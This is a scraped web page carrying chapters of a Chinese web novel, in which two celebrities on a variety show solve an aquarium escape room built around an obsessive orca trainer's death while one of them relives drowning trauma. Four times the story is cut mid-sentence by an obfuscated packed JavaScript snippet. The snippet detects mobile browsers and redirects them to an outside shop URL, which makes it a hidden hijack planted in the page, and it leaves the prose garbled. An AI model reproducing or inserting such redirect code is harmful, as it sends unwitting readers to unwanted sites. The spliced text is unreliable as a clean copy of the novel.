d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17259327|198014||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 体狩猎,忠诚于家族,但阿刻罗俄斯现在忠诚于我。 它的世界原本只有这片池水,现在有了我。 我决定了它什么时候吃饭,什么时候玩耍,什么时候表演。 我决定了它的一天、一年,也许是一生。 这很危险吗?或许。 但危险的东西往往最美。】 -- 傅予沉念出最后一句时,声音很轻。 念完,他抬起头,看向江洺。 “这个人……是个驯兽师”,他顿了顿,似乎在找合适的词,“似乎很喜欢,或者说在享受着……控制。” 江洺没接话。 他盯着那个哨子,脑子里却在回放刚才傅予沉挡在他身前的动作。那么快,那么自然,就像身体自己做出了决定。 为什么? 一个失忆的人,为什么会对他有这种……近乎条件反射的保护? “哥哥。”傅予沉突然开口,打断了他的思绪,他指了指笔记本的背面,“这里有字。” 塑料膜的内侧,用红色记号笔写着一行小字,笔迹和日志里娟秀的字体截然不同,潦草、用力,几乎划破塑料膜。 【它开始抗拒指令了。为什么?是我做得不够好吗?】 空气安静了几秒,紧接着表演池另一端的厚重铁门发出沉重的摩擦声,缓缓向一侧滑开,露出后面更加幽深的通道。 通道里没有光,只有从这边场馆渗进去的些许幽蓝。 “看来我们通过了第一关。”傅予沉合上笔记本,小心地把它和哨子一起放进节目组准备的防水收集袋里。 他转过身,湿透的衬衫贴在身上,勾勒出清晰的肩胛骨线条。 他又看了江洺一眼,这次眼神里多了点别的东西。 “下一个房间,”傅予沉说,声音在空旷的表演池里荡出轻微的回音,“会不会更糟糕?” 【哥哥你,还要继续吗?】 他没有问出口,他看得出江洺的恐惧,同样也看到了江洺的抗拒。 恐惧这个环境,但是抗拒向任何人“示弱”。 -- 江洺没有回答,他只是握紧了手里的驯兽哨,金属的冰冷渗进掌心。 而在他看不见的地方——监控室里,丁明志盯着分屏上两人并列的心率曲线,露出了今天第一个真心的笑容。 江洺的曲线在喷水瞬间飙升到118,然后在傅予沉挡在他面前后,缓慢回落,但始终在90以上高位震荡。 傅予沉的心率曲线更值得玩味,他在操作解密时心率平稳得异常,但在江洺被水淋到、他冲过去挡住的瞬间,心率直接冲上105,并且在之后的两分钟里,一直保持在100左右——即使危险已经过去。 “剪进去。”丁导对剪辑师说,手指敲着屏幕,“特写江洺僵住的表情,然后切傅予沉冲过来的慢镜头,背景音用那个哨声……对,就是日志里提到的指令哨声。” 他顿了顿,笑容加深。 “标题就叫……《‘驯兽’,TA挡在你身前需要多少秒?》” -- 幽蓝的光在水族馆里无声流淌,第一个秘密已经揭晓,而更多的秘密,正在下一个房间里等待。 江洺跟着傅予沉走向那扇打开的铁门,手里的哨子仿佛带着一股沉甸甸的分量,他忽然想起日志里的那句话,“危险的东西往往最美。” 不知为何,他觉得这句话说的不只是那个叫林渊的驯兽师,也不只是那头叫阿刻罗俄斯的鲸。 也许,说的就是这个此刻走在他前方半步、湿透的背影。 这个让他困惑、警惕,却又不得不依赖的—— 死对头。 16. 深海回响三 铁门在身后合拢,发出沉闷的撞击声。 他们站在一条狭窄的玻璃走廊里,两侧是厚重的水族馆玻璃,玻璃后面是巨大的、空荡荡的池子。 走廊的灯亮了,光是病态的惨白,每隔几米就有一盏,在地面投下摇晃的光圈。 空气在这里变了味道。 不再是表演池那种陈年的海水腥气,而是一种更刺鼻的气味——消毒水、药剂的酸味,还有某种隐约的、甜腻的腐败气息。 江洺的喉咙发紧,有那么一瞬,他竟然生出了想要牵住傅予沉的手的冲动,最后只缓缓攥紧了手指。 那种被抛弃的感觉,这辈子有一次就够了。 -- “这里是……医疗区?”傅予沉的声音在走廊里荡起回音。 走廊的墙壁上贴着各种图表:体温记录、进食量曲线、血液检测报告。 纸张泛黄,边缘卷曲,有些被水渍晕开,字迹模糊不清。 江洺的目光扫过其中一张:“第147天:拒绝进食。撞击池壁行为加重。左鳍出现新伤口。” 记录下方的签名是“林渊”,笔迹比日志一里更加潦草。 走廊尽头是一扇半开的金属门,门牌上锈蚀的字母勉强能辨认:【观察室·隔离区】。 傅予沉推开门。 里面的空间比想象中大。这是一个圆形的房间,中央凹陷下去一个巨大的圆形池子——医疗池。 池壁是冰冷的白色瓷砖,池底中央有个直径约一米的排水口,覆盖着生锈的铁栅。 池子周围摆满了各种废弃的医疗设备,监护仪、输液架、一个巨大的不锈钢操作台,上面散落着针管和绷带。 最引人注目的是对面的墙。 整面墙贴满了数据表,层层叠叠,像某种病态的壁纸。 表格上用红笔圈出无数个下降的箭头,旁边用更加狂乱的笔迹写着注释。 【“又降了。” “为什么不吃?” “它在惩罚我?” “我们是一体的……它痛,我也痛。”】 就在这时,房间的音响系统再次启动,林渊的声音响了起来,但这次语调完全不同,不再冷静自信,而是带着一种神经质的颤抖。 “第二阶段……你们看到了吗?数据不会说谎,它在衰败。每一天,都在离我远去。” 声音顿了顿,然后压低,像在分享一个秘密:“但你们知道最美妙的是什么吗?当它痛的时候……我也能感觉到痛。当它拒绝进食,我也失去食欲。当它在夜里撞击池壁,我的胸口也会传来同样的闷响。” “这是链接,真正的、血肉相连的链接。” “现在……请证明你们理解这种链接,调整参数,让数据‘同步’。” 话音落下,房间左侧的三台老旧医疗仪器同时亮起了屏幕。屏幕上跳动着各种参数:心率模拟值、血氧浓度、应激指数……每台仪器下方都有几个旋钮和按钮。 傅予沉已经走到数据墙前,眯着眼看那些表格,“需要按照它的逻辑来……看,这里有一行被圈出来的标准值。” 他指着墙上一处,“‘理想同步状态:心率42,血氧92%,应激指数维持在中值。’” 江洺走到第一台仪器前。 屏幕显示的是心率模拟,一条起伏的绿色波形线,当前数值在55左右跳动。他伸手去拧旋钮。 就在他的指尖触碰到冰冷金属的瞬间。 “滴答”。 一声清晰的水滴声,从医疗池的方向传来。 江洺的手僵住了。 他缓缓转过头。 不知道从哪里落下的水滴,刚好落在了池底那个生锈的铁栅上,水珠在惨白灯光下折射出刺眼的光,然后承受不住重量,坠落。 “滴答”。 又是一声。 “哥哥?”傅予沉察觉到了他的异常,江洺没有回答,他的目光无法从那个排水口移开。 铁栅后面是深不见底的黑暗,但水声就是从那里传来的——持续的、缓慢的……滴答、滴答、滴答。 像是小时候,他不“听话”时,父亲故意损坏水龙头后,那种如影随形,难以逃离的噩梦。 …… 节奏越来越快。 “没事。”江洺强迫自己开口,声音却干涩得像吞了砂纸,“继续。” 他拧动旋钮,把心率值调到42,屏幕上的绿色波形变得平缓。 傅予沉看了他一眼,没再追问,转身去调整第二台仪器。 江洺走到第三台前,应激指数控制器,这个仪器最复杂,有五个旋钮,每个对应不同的刺激源:声音频率、光照强度、水温变化…… 江洺的手指悬在标着【Temp.】的旋钮上方。 滴答、滴答、滴答答答——水声变急了。 不再是滴水,而是细小的水流声,从排水口深处传来,像是有什么东西正在下面涌动。 “参数要同步调。”傅予沉突然说,他已经调好了第二台,“日志里说‘同步’……可能需要在同一时间把三台仪器调到标准值。” 江洺点头,他的掌心在出汗。 “我数三下。”傅予沉的手放在第二台仪器的确认按钮上,“三、二……一。” 江洺猛地拧动旋钮。 几乎同一瞬间,排水口传来“咕噜”一声闷响,接着“噗”,一股浑浊的水流从铁栅的缝隙里喷涌而出,冲起半米高,然后洒在池底的白瓷砖上,迅速漫开。 江洺感觉呼吸像是停止了,他的肺部像被一只无形的手攥紧,空气进不来,也出不去。 视野边缘开始发黑,耳边只剩下水流冲刷瓷砖的声音,哗啦啦,哗啦啦——和记忆里的海浪声重叠。 -- 海水漫过膝盖,母亲的手很凉。 “洺洺,看,多漂亮。” 漫到大腿了,浪打过来,站不稳。 “再往前走一点……就一点……” 水是灰色的。天空是灰色的。所有的颜色都在褪去,只剩下一种冰冷刺骨的灰—— “哥哥!” 肩膀被抓住,用力摇晃。 江洺猛地回过神,大口吸气,肺叶像刀割一样疼。 他这才发现自己已经退到了墙边,后背紧紧抵着冰冷墙壁,指尖微微颤抖。 傅予沉站在他面前 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17259328|198014||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,离得很近,近到能看清他睫毛上沾着的细微水汽。 “没事了。”傅予沉说,带着一种笃定的力量,“水停了,你看。” 江洺顺着他的目光看去。 池底的水流确实停了,只有一小滩积水反着光,但就在积水边缘,有什么东西从排水口被冲了出来,一个用防水袋包裹的方形物体。 第二本日志。紧接着,隐约有声音传来,模糊的、断断续续的。 “……为……什么……” 傅予沉显然也听到了,他侧过头,看向排水口的方向,眉头微皱。 那个声音又响起来了,这次清楚了一点,“……不吃……为什么……” 是林渊的声音。 但和音响里失真过的录音不同,这个声音更……真实,更近,像有人真的躲在管道深处,对着洞口喃喃自语。 “是录音吧。”傅予沉说,但语气里有一丝不确定,“节目组的把戏。” 他朝着医疗池走去,似乎想去拿那本日志。 “别过去。”江洺脱口而出。 但傅予沉已经走到了池边,他蹲下身,伸手去够那个防水袋。 就在他的指尖触碰到袋子的瞬间,‘啪嗒’一声,整个房间的灯光同时熄灭,一瞬间就陷入了彻底黑暗。 江洺眼前一片漆黑,有那么一两秒,他失去了所有空间感,不知道自己在哪,不知道哪里是墙,哪里是水池。 然后,应急灯亮了,暗红色的光,从天花板四个角落渗出,把整个房间浸在血一样的色调里。 而在那片红光中,医疗池的方向,排水口在发光,刺眼的幽蓝光束,从管道深处直射上来,在空气中形成一道光柱。 是全息投影。 【一个消瘦的男人,穿着白大褂,背对着他们跪在池边,他的肩膀在颤抖,像是在哭。 “我们是一体的……我们是一体的……我们是一体的……”】 男人突然转过身。 林渊的脸,憔悴得不成人形,眼窝深陷,嘴角却向上扯出一个诡异的笑容。 他的眼睛没有焦点,直勾勾地看着前方,看着江洺和傅予沉所站的位置。 然后,投影开始变化。 林渊的身形扭曲、拉长,他的皮肤上浮现出黑色的斑块,像是虎鲸身上的花纹,他的手指变长,指缝间长出蹼状的连接。 他在变成……某种东西。一半是人,一半是鲸的诡异怪物。 “这是……”傅予沉的声音从池边传来,他不知何时已经站了起来,手里拿着那本日志,但眼睛盯着投影,“他的……妄想。” 投影中的怪物林渊抬起那只长着蹼的手,指向他们。 紧接着,房间里所有的音响同时爆发出震耳欲聋的,混合的声音——虎鲸尖锐的悲鸣、人类歇斯底里的哭喊、还有林渊扭曲的狂笑,所有声音绞在一起,像一把电钻往颅骨里钻。 而在那片噪音的洪流中,一个清晰的声音插了进来,似乎贴着耳膜响起,“你也明白的,对吧?” “当你最信任的人……拉着你往深水里走的时候……” “那种感觉。” 江洺的膝盖一软。 17. 深海回响四 江洺知道,他又产生了幻觉,或者说是,这个地方,环境、灯光,甚至剧情,勾起了他的那些尘封的过往,撕开了那道他自以为愈合的创伤。 一只手抓住了他的胳膊,带着温暖的体温。 在红色的光影中,傅予沉的脸色显得异常苍白,但他的眼神恨清澈,一如既往的稳定。 “别看。”他微微提高了声调,压过了噪音,“别看那些,看我。” 傅予沉的脸就在眼前,很漂亮,睫毛很长,瞳孔在暗红的光里收缩成一点,他的额头有汗,垂在身侧的手环上,显示着心率超过正常阈值的红光。 “都是假的。”傅予沉一字一句地说,“投影、录音、节目效果,哥哥……明白吗?” 江洺张了张嘴,发不出声音。 傅予沉的手从他胳膊滑到手腕,用力握住,他的掌心很烫,烫得几乎灼人。 “跟我走。”他说,然后拽着江洺,转身朝着房间另一端的出口走去。 一扇不知何时打开的小门,隐藏在数据墙的后面,江洺踉跄着跟上。 -- 走廊里是正常的白光,安静得江洺能听到自己粗重的呼吸,和心脏疯狂捶打胸腔的声音。 "咚咚咚……" 他放开了傅予沉的手,背靠在墙壁上,努力通过深呼吸,平复着狂乱的心跳。 “刚才,谢谢”,江洺垂眸看着地板,微微喘息,【谢谢你抓住我的手。】 傅予沉微微一愣,被放开的手徒劳的蜷缩了一下,他绽开一抹笑意,微微侧头去看江洺,眼神里带着惯常的依恋,“哥哥,你不必对我说谢谢。” “你可以……试着,依靠我。” 江洺没有说话,他另外一只手里还拿着那本日志,防水袋上沾着池底的积水。 【沉沦之共,共获新生。】 他没有翻开,只是把日志塞进收集袋,拉好拉链,然后看向走廊前方。 下一个房间的门已经打开了,里面像是更加的幽深。 “走吧。”江洺说,声音恢复了平时的冷淡,但只有他自己知道,那层冷淡下面,有什么东西已经裂开了缝。 傅予沉跟在他身后半步的位置。 两人谁也没有再提刚才的事。 但江洺知道,有些东西已经不一样了。 -- 而监控室里,丁导盯着屏幕上的心率数据,缓缓呼出一口气。 江洺的心率峰值:124。 傅予沉的:119。 但最有趣的不仅仅是峰值,还有曲线——当投影出现、那个声音在江洺耳边低语时,江洺的心率疯狂飙升。而几乎在同一时刻,傅予沉的心率同步飙升,时间差不超过0.5秒。 就像……就像他真的能感觉到江洺的恐惧一样。 “剪进去。”丁导对剪辑师说,眼睛还在盯着屏幕,“所有镜头。特写江洺崩溃的表情,特写傅予沉抓住他的瞬间,特写他们交握的手——手部特写一定要给足。” 他顿了顿,笑了。 “这部分的标题……就叫《致命心跳,沉洺与共》。” -- 那道隐藏在数据墙后的小门,通往一段螺旋向下的金属楼梯。 楼梯很窄,仅容一人通过,踩上去发出空洞的回响。 江洺走在前方,手扶着冰冷的栏杆,像是在走向冰冷的海底,每一步落下,都让他的呼吸更沉一分。 楼梯的尽头是一扇厚重的防水门,上面没有任何标识,只有一块锈蚀的门牌,勉强能看出“PRIVATE”的字样。 傅予沉伸手推门。 门上没有锁,但似乎很沉重,推动时,门轴发出尖锐的呻吟,缓缓向内敞开。 里面的空间却出乎意料的小,这是一个不足二十平米的房间,没有窗户,唯一的光源来自天花板上垂下的那盏老式吊灯,灯罩积了厚厚的灰。 江明抬眼看去,墙壁上展示着成千上百张照片,它们被用图钉密密麻麻地钉在软木板上,覆盖了每一寸墙面。 里面……全是虎鲸,曾在投影中展示的同一头虎鲸,阿刻罗俄斯。 不同角度,不同状态,跃出水面的、静止漂浮的、眼睛特写的、身上伤口的特写……照片之间用红绳连接,绳上串着便签,写满了密密麻麻的注释。 房间中央是一张巨大的橡木桌,桌上堆满了东西,显微镜、培养皿、玻璃瓶里泡着不明组织的标本、散落的胶卷、一台老式录音机。 桌子正中央,放着一本摊开的硬皮笔记本,旁边是一支钢笔,笔尖的墨水早已干涸。 而桌子的正对面,靠墙立着一台机器,它看起来像是某种老式电脑和医疗设备的杂交体——方形的机箱上插满了旋钮、拨杆和指示灯,正面嵌着一块小小的单色显示屏,下方有一个卡槽,看起来正好能插进他们从控制台得到的驯兽哨。 “这应该就是所谓的‘终端机’”,傅予沉的说到,“日志三里提到的‘环境情绪系统’核心。” 江洺的目光却越过机器,落在桌后的天花板上,那里垂挂着一幅巨大的素描。 画的是阿刻罗俄斯,但和照片里不同,这幅画里的虎鲸是侧躺着的,眼睛半闭,鲸的身躯线条不再有力,而是松垮的、瘫软的,像是内里已经腐朽,只披着一张‘画皮’在苟延残喘。 画的右下角签着名:“林渊”,日期是“1999.1.17”。 而日期的下方,有一行小字,写得极轻,几乎看不清。 “终于同步了,我们都睡着了。” -- 就在这时,房间里的音响再次启动。 只有一段录音,磁带转动时特有的“沙沙”底噪,然后,是一个极其疲惫、几乎虚脱的男声,“今天是最后一次记录。” “阿刻罗俄斯已经三天没有动过了。它漂在水池中央,偶尔会眨一下眼睛,看着我。它的眼睛……很安静,没有痛苦,没有愤怒,什么都没有,只是一片空白。” “我试了所有方法。新的药物,调整水温,播放它族群的声音……没有用。它只是看着我,不肯进食……不肯再听我的任何指令。” “他们说我该放弃了,他们说这是自然的衰竭,他们不懂。” 录音里传来一声漫长 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17259329|198014||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的、颤抖的吸气。 “他们不懂,这不是衰竭。这是……新生。” “我们从控制开始,经历了对抗,经历了痛苦,经历了同步的沉沦……现在,终于来到了终点。它把自己彻底交给了我。它的痛苦,它的意志,它的生命——全部交给我了。” “所以今天,是最后一场表演。我会为它设计最完美的谢幕。然后……新生。” 录音在这里停住了。 足足五秒钟的死寂,只有磁带底噪的沙沙声,然后,林渊的声音再次响起,这次带着一种诡异的平静,甚至可以说是……幸福,“然后,我们会永恒的陪伴在一起。” -- 【任务:播放最后的录音,找出密码,打开抽屉,拿走真相。】 【提示:密码藏在……我们同步的呼吸里。】 电子提示音落下,录音机自动停止,房间重归寂静。 江洺看向傅予沉,“驯兽哨。” 傅予沉从收集袋里取出了那个锈蚀的哨子,他走到终端机前,将哨子尖端对准卡槽,犹豫了一秒,然后缓缓插入。 “咔嗒。” 哨子完美嵌入,终端机的显示屏亮了起来,绿色的像素点跳动着,组成一行字。 【音频档案载入中……】 接着,机器内部传来磁带转动的机械声,老旧扬声器发出“滋啦”的电流杂音,然后声音流泻而出。 原始的、粗糙的现场录音,能听到嘈杂的环境声——水流声、鲸鱼缓慢换气时喷水的声音、还有……林渊的呼吸声。 很轻,很规律,几乎和鲸鱼换气的节奏同步。 录音里,林渊在说话,声音很轻,像在念诗,“吸气……对……慢慢来……” “感受水的压力……感受肺里的空气一点点被挤出去……” “不要抵抗……让水流带你下沉……” “下沉……下沉……” 江洺的呼吸开始不自觉地跟随那个节奏——吸气,停顿,呼气。 太慢了,慢得让人窒息,肺叶在渴求更多空气,但录音里的喘息声却仿佛真在按照定好的频率调整。 林渊他竟然试图让自己,与一只海洋生物一同下潜? 【他,或者说“他们”是在“找死”?】 傅予沉显然也感觉到了不适,他的眉头皱得很紧,手指无意识地攥紧了桌沿。 录音还在继续,“很好……现在我们同步了……” “现在……闭上眼睛……想象深海……” “想象你从来不属于天空……你生来就该在黑暗里……在压力里……在永寂的海里……” 江洺猛地摇头,想把那个声音从脑子里甩出去。 看到江洺这样,傅予沉下意识就走到了他面前,抬起了双手——覆盖在了江洺的耳廓上。 江洺一愣,微微抬头,看到自己狼狈的模样,被印在那片澄澈的瞳光里。 然后,他做了一个自己都没有想到的选择,似乎是身体有着他自己的想法,他靠近了半步,低头……将额头抵在了傅予沉的胸膛上。 “咚咚咚……” 18. 深海回响五 录音很快接近了尾声。 “咔哒”声响起,紧接着,林渊的呼吸节奏突变,不再是引导式的缓慢,而是骤然加速,变得急促、混乱,像是突然喘不上气。 “等等……不……不对……” 录音里的水流声变大了,巨大的、轰鸣的注水声,从录音的背景里涌起,迅速吞没了一切。 林渊的声音开始断断续续,仿佛被水声切割,“阿刻罗俄斯……等等……我不是要……” 然后是挣扎的声音,□□撞击硬物的闷响,水花泼溅,还有林渊呛水后剧烈的咳嗽和喘息。 虎鲸的叫声插了进来。 不同于之前那种悲鸣,这里的声音是一种短促的、高频的、近乎尖啸,这声音反复响起,一声比一声急,一声比一声近,像是它……正朝着录音设备冲过来。 “不——!!!” 林渊最后的喊声被一声巨大的撞击声截断,那是□□撞上混凝土的、令人牙酸的闷响,伴随着骨头碎裂的细微“咔嚓”声。 然后,一切声音戛然而止。 只剩下注水声,稳定的、无情的注水声,填满了录音剩余的全部时间。 五秒,十秒,二十秒。 录音结束。 终端机的显示屏暗了下去,然后重新亮起,跳出一行新的提示。 【密码提示:鲸鸣。】 -- 江洺安稳的靠在傅予沉胸膛上,那些杂乱的声音仿佛突然成了背景音,在他鼓膜上跳动的……只有傅予沉平稳的心跳。 或许,也没有那么平稳。 他听到了,在他开始靠近的时候,傅予沉的心跳……分明乱了一拍。 “鲸鸣?这个提示也太模糊了……”傅予沉仿佛是在没话找话,眸光看着橡木桌正中央的那个抽屉,上面是数字密码盘,显然输入拼音是行不通的通的。 江洺垂下的眼睫眨了眨,他忍不住扯了扯嘴角——露出了进入密室以来……第一次真心的,也是安心的笑容。 然后他自然地退开,走到了密码箱前,蹲下身,试了试,在按到第六下的时候,出现了密码错误的警报声。 “看来是六位密码,再找找?”傅予沉也明白了江洺的意思。 江洺有些疲惫的叹了口气,“不用找了,提示应该在第一关。” 他站起身来,四处看了看,果然在角落里找到了一架被白布遮盖的陈旧钢琴,他的手指在琴键上轻触了一下,‘叮咚’的声音在寂静的空间里响起。 钢琴能用,江洺在琴凳上坐了下来,先是叮叮咚咚的试弹了几下,不过片刻之后,那些音符流畅起来,变成了一曲有些熟悉的曲子。 傅予沉侧耳辨认了片刻,“海上钢琴师?” “嗯”。 他还是有些困惑,“有什么关联吗?” 江洺手指轻抚,熟悉的曲调骤变,变成了有些刺耳的旋律。 “这是?将曲谱倒放的声音?”傅予沉瞬间明白了,在第一关的时候,那诡异的鲸鸣中是有背景音的。而现在的录音中,只有鲸鸣,却没有音乐。“第一步的时候,那循环播放的诡异音乐,本质上是……密码本?” 江洺轻轻点头,“如果我猜想的没错的话,每种鲸鸣,对应了一个音符。” 傅予沉回忆了片刻,单手在琴键上试了试,恍然,“密码是623212?” 江洺轻轻点头,走过去顺利解开了密码锁,拉开抽屉。 里面只有两样东西。 第三本日志,封面是纯黑色的,没有标题。 以及,一张照片。 江洺先拿起了照片。是彩色的,但色彩已经严重褪色,泛着诡异的橙黄。照片拍的是医疗池,水是满的,水面上漂浮着一团黑影,是阿刻罗俄斯的尸体,侧翻着,白色的肚皮朝上。而在池边,一个人影背对着镜头,跪在那里,一动不动。 是林渊。 他的白大褂下摆浸在水里,但他毫无知觉。他只是跪着,低着头,看着水中鲸鱼的尸体。照片的构图里,人和鲸的尸体形成一个诡异的对称,像某种邪教的仪式现场。 照片的背面有一行字,墨水被水渍晕开,但勉强能辨: “1999.1.18,04:17AM.终于安静了,你终于永远独属于我了。” 江洺放下照片,拿起日志,他翻开封面。 第一页只有一句话,用红笔写成,笔迹平静得可怕: 【终结之寂:当噪音停止,你才发现,寂静是最震耳欲聋的声音。】 后面几页是空白的,江洺快速翻动,直到最后一页——那里贴着一张剪报。 是当地报纸的社会新闻版块,一个小方块,标题是:《私人海洋馆关闭,负责人失踪》。 文章很短,只说“深海回响”海洋馆因经营不善关闭,馆主林渊在虎鲸“阿刻罗俄斯”意外死亡后下落不明……又半年后被人发现林渊溺死在了废弃的海洋馆,警方调查后排除他杀。 这是一桩悬案。 剪报的空白处,却有人用红笔画了一个小小的圆圈,圈住了“意外死亡”四个字。 然后在旁边写了一行小字,“是解脱。” 江洺合上日志,房间里很安静,吊灯的光线在缓缓变暗,像是电力即将耗尽。 这时,终端机的屏幕又亮了。 这次是一段自动播放的影像,监控录像。 黑白的,画质粗糙,拍摄角度是俯视医疗池。 画面里,林渊站在池边,手里拿着一个遥控器,他按下一个按钮。 池底的排水口开始倒灌,巨大的水流从管道深处反向涌出,迅速灌满医疗池。 林渊跪了下来,看着水面,他在笑。 水位继续上升,漫过池沿,漫过地面,朝着林渊跪着的地方流去。 林渊没有动,他就跪在那里,任由冰冷的水漫过他的膝盖,他的腰,他的胸口…… 录像到这里戛然而止。 屏幕变黑。 房间里最后的灯光也暗了下来,只剩下一盏应急指示灯,在墙角投出一点惨绿的光。 而在那片黑暗里,江洺清晰地听到了一声叹息。 “所以,”傅予沉的声音打破寂静,“这就是那个很著名的,‘鲸与驯兽师’的故事真相?” 江 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17259330|198014||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 洺像是陷入了回忆,“是,也不全是……故事中,那只虎鲸只是自己选择了‘下沉’,却在它的训导员想要与他一起沉沦时……救了那个训导员。” “大概是四五年的事情吧,是那个训导员亲自讲述了这个故事,我当时也在微博上转发了那个。” 傅予总结,“所以,这期节目的是……想要呼吁大家拒绝动物表演?” 江洺沉默片刻,只轻轻点头,没有说话。 丁明志,又或者说,节目组大约是想要批判这种——控制。 却不知道,那个引导节目组选择这个“剧本”的人,却旨在“控制”。 何其可笑,大约在某些人眼中,他江洺,与那头虎鲸,并没有区别。 -- “该走了。”傅予沉说,声音很轻,“出口应该开了。” 江洺看向房间另一侧。 果然,一扇之前完全没有注意到的暗门,悄无声息地滑开了,门后是向上的楼梯,尽头有自然光渗入。 他们拿到了所有日志,解开了所有谜题,通过了所有关卡。 是该离开了,可江洺站的目光落回桌上那张照片——林渊跪在池边,看着鲸鱼的尸体。 虎鲸不再悲鸣,林渊不再呓语,所谓的系统不再播放扭曲的录音。 可是这种安静……江洺抬手,按了按自己的左胸。 那里,心脏正在以一种不正常的速度狂跳,撞击着胸腔,每一下都震得耳膜发疼。 他忽然明白了日志里那句话的意思。 ——寂静,是最震耳欲聋的声音。 因为当所有外在的噪音消失,你才会听见自己内心的声音,那些被压抑的尖叫、那些不敢承认的恐惧、那些深埋在黑暗里的记忆,会像涨潮一样涌上来,填满每一寸空间,震得你灵魂都在发抖。 就像现在,他站在这里,站在这个疯子和鲸鱼的坟墓里,听着自己震耳欲聋的心跳,而身边站着的……是傅予沉。 这个失忆的、陌生的,却又莫名熟悉的人。这个会在水落下时挡在他身前的人,这个会在他崩溃时抓住他手腕的人,这个现在正用那种复杂的眼神看着他的人。 现在,在他们手腕上的心率计数器上,如出一辙地……闪缩着代表心率上升,超过正常阈值的红光。 江洺忽然很想知道,傅予沉现在的心跳,是什么声音? ——是和他的一样震耳欲聋吗? “走吧。”江洺终于开口,声音沙哑。 他率先朝出口走去,没有再回头,仿佛之前那片刻的脆弱,是一种错觉。 -- 傅予沉跟在江洺身后,抬手按在了胸口的位置。 那里跳的很快,甚至有些微微发疼。 伴随着的,是一种酸涩难辨的情绪,他自己也不知道,那究竟是心动,还是心疼? 只知道,楼梯向上延伸,尽头的白光越来越亮,亮得几乎刺眼。 他看着江洺独自前行的背影,有种说不出来的难过。 那些他未曾参与,或者说不记得的过往中,到底藏着什么秘密? 让哥哥看起来这么的“孤独”? 19. 心动 晚春的天气,酒店房间的空调开得很足,江洺却感觉,仍然有一股冷气无声地贴着皮肤游走。 江洺背靠着浴室冰冷的瓷砖墙,滑坐在地板上。 淋浴间里没有开灯,只有门缝底下透进来一点走廊夜灯的光,在地面投出一线惨白。 他没有想到,仅仅是参加了一场综艺而已,就牵扯出了陈年旧事,那些本以为早就遗忘的、灰暗的记忆,难以自控的涌了上来,造成了严重的躯体化症状。 他清楚的知道症结所在,却仍然找不到解决办法。 像是陷入了,一个特意为他打造的,名字叫做“深海回响”的密室,找不到出口。 这一次,他的身边没有傅予沉。 只有,他自己。 -- 花洒早已关上,但滴水声似乎还在——滴答,滴答,滴答,像是从某个没有拧紧的龙头传来,又像是从儿时久远的记忆中传来……每一声都精准地敲在他的神经末梢上。 他闭上眼,但黑暗更糟,黑暗里有画面。 林渊跪在医疗池边,水漫过胸口。 母亲牵着他的手,海水漫过大腿。 …… 喉咙里涌起一股酸涩的铁锈味。 江洺猛地睁开眼,伸手去摸旁边的毛巾——干的,棉质的,吸水性很好。他把它攥在手里,用力到指节发白,仿佛这样就能攥住一点实感。 但还是没用,身体有自己的记忆,他的皮肤还记得水雾扑上来的冰冷,肌肉还记得僵直时的麻痹,肺部还记得那种窒息般的紧缩。 还有心跳——那种失控的、疯狂捶打胸腔的心跳,和好像随时会从喉咙里跳出来的心脏。 他低下头,看着自己的手。 它在抖。 是明显的、无法抑制的抖动,从指尖一直蔓延到小臂。 他试图像平时控制舞台失误那样,用意志力压下去。 ——吸气,屏住,慢慢呼出。这是声乐老师教他的呼吸法,用来稳定表演时的台风。 但这次,惯用的呼吸法失效了。 吸气时,鼻腔里仿佛又灌满了水族馆那种咸腥潮湿的空气。 呼气时,耳边又响起林渊在录音里引导的、那种慢得让人窒息的声音,“吸气……慢慢来……感受水压……” “操。” 江洺低骂一声,把脸埋进毛巾里,布料吸走了额头的冷汗,但吸不走骨头缝里渗出来的寒意。 不知过了多久,也许十分钟,也许半小时。 他听到门外有脚步声。 很轻,停在门口,没有敲门。 然后,是门把手转动的声音——他恍惚间想起,自己回来时好像忘记了反锁。 门开了。 走廊的光涌进来,在浴室门口的地板上拉出一道斜长的影子。 江洺没有抬头,他知道是谁,这个时间,会这样直接进来的,只有那个人。 脚步声走近,停在浴室门外。 “哥哥。” 